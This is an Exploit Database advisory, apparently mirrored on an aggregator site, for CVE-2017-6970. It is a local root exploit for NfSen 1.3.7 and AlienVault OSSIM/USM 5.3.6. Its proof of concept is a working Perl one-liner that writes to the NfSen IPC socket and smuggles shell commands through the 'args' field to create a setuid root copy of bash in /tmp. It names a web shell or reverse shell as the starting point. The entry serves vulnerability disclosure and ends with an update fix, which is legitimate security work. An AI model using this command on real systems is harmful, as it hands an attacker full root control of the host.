NfSen < 1.3.7 / AlienVault OSSIM < 5.3.6 - Local Privilege Escalation

• Exploit Database
• 16 阅读

• 作者： Paul Taylor
  日期： 2017-07-10
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42305/

• # Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
  # Version: NfSen 1.3.7
  # Version: AlienVault 5.3.6
  # Date: 2017-07-10
  # Vendor Homepage: http://nfsen.sourceforge.net/
  # Vendor Homepage: http://www.alienvault.com/
  # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
  # Exploit Author: Paul Taylor / Foregenix Ltd
  # Website: http://www.foregenix.com/blog
  # Tested on: AlienVault USM 5.3.6
  # CVE: CVE-2017-6970
  
  1. Description
  
  The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.
  
  2. Proof of Concept
  
  Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).
  
  Execute the following command:
  
  perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
  
  This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.
  
  3. Solution:
  
  Update to latest version of NfSen/USM/OSSIM